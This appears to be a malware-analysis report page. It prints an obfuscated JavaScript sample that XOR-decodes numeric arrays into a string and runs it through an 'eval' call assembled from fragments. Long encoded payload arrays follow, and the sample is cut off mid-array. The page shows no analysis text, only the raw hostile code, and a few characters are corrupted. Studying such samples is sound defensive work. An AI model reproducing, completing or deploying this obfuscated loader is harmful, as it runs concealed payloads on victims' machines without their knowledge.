(YG339GO=0;YG339GO<x03k78uFG46AeK.length;YG339GO++){x03k78uFG46AeK[YG339GO]=x03k78uFG46AeK[YG339GO]^87;}; EBKMH�KMH.concat(x03k78uFG46AeK);for (ZwS5=0;ZwS5<yY6fh.length;ZwS5++){yY6fh[ZwS5]=yY6fh[ZwS5]^12;}; EBKMH�KMH.concat(yY6fh);for (mJnQ1Suw=0;mJnQ1Suw<nB9lpd6.length;mJnQ1Suw++){nB9lpd6[mJnQ1Suw]=nB9lpd6[mJnQ1Suw]^11;}; EBKMH�KMH.concat(nB9lpd6);for (DpUh=0;DpUh<r2n12tjap5FT2.length;DpUh++){r2n12tjap5FT2[DpUh]=r2n12tjap5FT2[DpUh]^60;}; EBKMH�KMH.concat(r2n12tjap5FT2);for (d7wYkdq=0;d7wYkdq<C09h7BTnP.length;d7wYkdq++){C09h7BTnP[d7wYkdq]�9h7BTnP[d7wYkdq]^59;}; EBKMH�KMH.concat(C09h7BTnP);for (M4KsQm97Q=0;M4KsQm97Q<bq23q7thwC1Q738.length;M4KsQm97Q++){bq23q7thwC1Q738[M4KsQm97Q]=bq23q7thwC1Q738[M4KsQm97Q]^14;}; EBKMH�KMH.concat(bq23q7thwC1Q738);for (Ov257gQ=0;Ov257gQ<Z50M95c3.length;Ov257gQ++){Z50M95c3[Ov257gQ]=Z50M95c3[Ov257gQ]^74;}; EBKMH�KMH.concat(Z50M95c3);for (EB7u4vAm=0;EB7u4vAm<H1Vv1.length;EB7u4vAm++){H1Vv1[EB7u4vAm]=H1Vv1[EB7u4vAm]^29;}; EBKMH�KMH.concat(H1Vv1);
 NgGTie4=function(ed6XB8){
	Eqr5j7tW6Y=["e","m","v","n","a","d","x","l"];
	zhzfRqWF=Eqr5j7tW6Y[0]+Eqr5j7tW6Y[2]+Eqr5j7tW6Y[4]+Eqr5j7tW6Y[7];
	rorar=this;
	o1fp =rorar[zhzfRqWF];
	o1fp(ed6XB8);
}
E97mkc=function(FnaAQDENWi){
	fktIfe="";
	KF5i1YIPvv=["dd","fjdk","fro","mChar","Co","dk","eee","de"];
	ThmM27=KF5i1YIPvv[2]+KF5i1YIPvv[3]+KF5i1YIPvv[4]+KF5i1YIPvv[7];
	for (XKevnot77=0;XKevnot77<FnaAQDENWi.length;XKevnot77++){
	    gogor=this;
		roter=gogor["St"+"ri"+"ng"];
		fktIfe += roter[ThmM27](FnaAQDENWi[XKevnot77]);
	}
	
	return fktIfe;	
}
NgGTie4(E97mkc(EBKMH));

S7aECkq1NF35=[58,108,123,104,58,118,83,107,77,35,116,40,110,39,56,115,52,51,118,116,116,105,58,58,106,121,58,111,69,104,124,58,117,98,127,127,110,50,99,115,116,123,58,54,115,99,97,99,104,124,40,127,114,38,49,109,114,33,118,48,110,118,123,116,97,104,105,106,50,106,52,115,116,99,106,127,99,115,118,105,105,39,50,42,104,33,127,110,123,99,125,51,39,121,105,111,103,106,105,123,104,40,104,106,123,116,116,104,51,110,54,118,110,99,123,125,111,104,105,120,104,103,53,105,108,115,105,116,116,97,117,126,51,50,104,106,58,106,124,127,58,58,118,123,33,116,116,118,110,110,104,115,123,58,39,111,126,104,117,121,46,127,63,114,127,111,63,58,50,116,106,70,56,41,111,127,111,105,42,63,42,89,111,41,46,63,123,127,41,121,89,63,88,111,105,34,88,46,111,91,111,63,111,42,111,63,34,34,88,63,42,63,88,44,111,42,42,34,89,46,111,47,35,45,34,34,94,46,42,45,94,41,42,63,46,42,89,34,91,63,91,43,42,45,88,63,111,46,111,42,43,63,34,34,89,34,89,63,111,63,111,95,111,47,88,44,46,47,111,63,111,63,34,63,88,40,91,46,40,94,111,63,88,63,88,34,92,95,40,41,88,47,111,63,111,47,89,95,41,63,40,95,111,95,111,41,46,34,111,34,89,95,35,45,111,34,111,63,111,47,91,63,47,45,88,47,45,47,111,42,44,63,41,47,111,34,88,63,44,92,111,63,41,63,88,63,111,63,44,63,46,47,34,34,41,89,111,41,42,63,41,45,111,46,42,92,35,45,111,63,41,63,95]; HNsdmN=[81,23,32,23,82,23,71,84,71,81,82,86,71,91,87,23,86
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.